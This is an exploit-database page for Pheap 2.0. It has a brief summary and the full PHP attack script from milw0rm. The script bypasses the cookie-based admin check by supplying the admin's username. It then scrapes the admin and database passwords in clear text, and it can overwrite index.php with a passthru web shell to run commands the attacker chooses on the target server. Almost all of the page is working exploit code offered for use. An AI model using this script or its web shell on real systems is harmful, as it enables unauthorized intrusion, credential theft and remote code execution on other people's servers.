header-logo
Suggest Exploit
vendor:
Pheap
by:
Silentz
7.5
CVSS
HIGH
User Authentication Bypass
287
CWE
Product Name: Pheap
Affected Version From: Pheap 2.0
Affected Version To: Pheap 2.0
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Pheap 2.0 Admin Bypass/Remote Code Execution

This exploit allows an attacker to bypass user authentication and potentially execute remote code on a Pheap 2.0 server. The exploit takes advantage of a user verification routine that compares a cookie value to the admin's username. If the cookie value does not match the username, the user is redirected to the login page. By knowing the admin's username, an attacker can access any page that uses this authentication method and retrieve all credentials in clear-text. The exploit script provided allows for either credential disclosure or remote code execution.

Mitigation:

To mitigate this vulnerability, it is recommended to update Pheap to a version that addresses this issue.
Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

The user verification routine used in most of the files is:

#####
#
#   include("lib/config.php");
#	if ($_COOKIE['pheap_login'] != $username){
#	header("Location: login.php");
#	} else { [CONTINUE EXECUTING CODE] }
#
#####

So basically it's saying "If the value within the cookie pheap_login is not the same value
that is assigned to the $username variable withing lib/config.php then you have to be redirected
to the login page".

So if we know the admin's username we can access any page that uses this authentication method. Also, 
we can retrieve all credentials in clear-text. ;)

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------\r\n";
print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
print "[OPTION]  = 0 = Credentials Disclosures\r\n";
print "            1 = Remote Code Execution\r\n";
print "[HOST] 	  = Target server's hostname or ip address\r\n";
print "[PATH] 	  = Path where Pheap is located\r\n";
print "[USER] 	  = Admin's username\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_pheap.php 0 victim.com /pheap/ admin\r\n";
print "     w4ck1ng_pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

// Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd  = $argv[5];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------\r\n";
print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";

    $packet ="GET " . $path . "settings.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    if (strstr($html,"This is the settings panel")){}
    else{echo "...Failed!\r\n"; exit();}

    $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin User: " . $ret_user . "\r\n";

    $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin Pass: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Host",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Host: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database User: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Pass: " . $ret_user . "\r\n";

print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}

if($exploit==1){

    $packet ="GET " . $path . "edit.php?em=file&filename=" . $path . "index.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    $temp=explode("name=\"filename\" value=\"",$html);
    $temp2=explode("\">",$temp[1]);
    $fullpath=$temp2[0];

	$shell = '<?php echo "<font color=#FFFFFF>...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>...Silentz</font>";?>';
	$data = "mce_editor_0_styleSelect=";
	$data .= "&mce_editor_0_formatSelect=";
	$data .= "&mce_editor_0_fontNameSelect=";
	$data .= "&mce_editor_0_fontSizeSelect=0";
	$data .= "&mce_editor_0_zoomSelect=100%25";
	$data .= "&content=" . urlencode($shell);
	$data .= "&filename=" . urlencode($fullpath);
	$data .= "&update_text.x=57";
	$data .= "&update_text.y=15"; 

    $packet ="POST " . $path . "edit.php?action=update_doc HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept: */*\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Referer: http://" . $host.$path . "edit.php?em=file&filename=" . $path . "index.php\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);

    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"...Silentz"))
     {
	print "-------------------------------------------------------------------------\r\n";
	print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
	print "-------------------------------------------------------------------------\r\n";

       $temp=explode("...Silentz</font>",$html);
       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
       echo "===============================================================\r\n\r\n";
       echo $temp2[0];
       echo "\r\n===============================================================\r\n";
       echo "\r\n[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]\r\n";

	print "-------------------------------------------------------------------------\r\n";
	print "            		 http://www.w4ck1ng.com\r\n";
	print "            		        ...Silentz\r\n";
	print "-------------------------------------------------------------------------\r\n";

       die;
     }
}
?>

# milw0rm.com [2007-05-29]

Navigation

Suggest Exploit

Services By CQR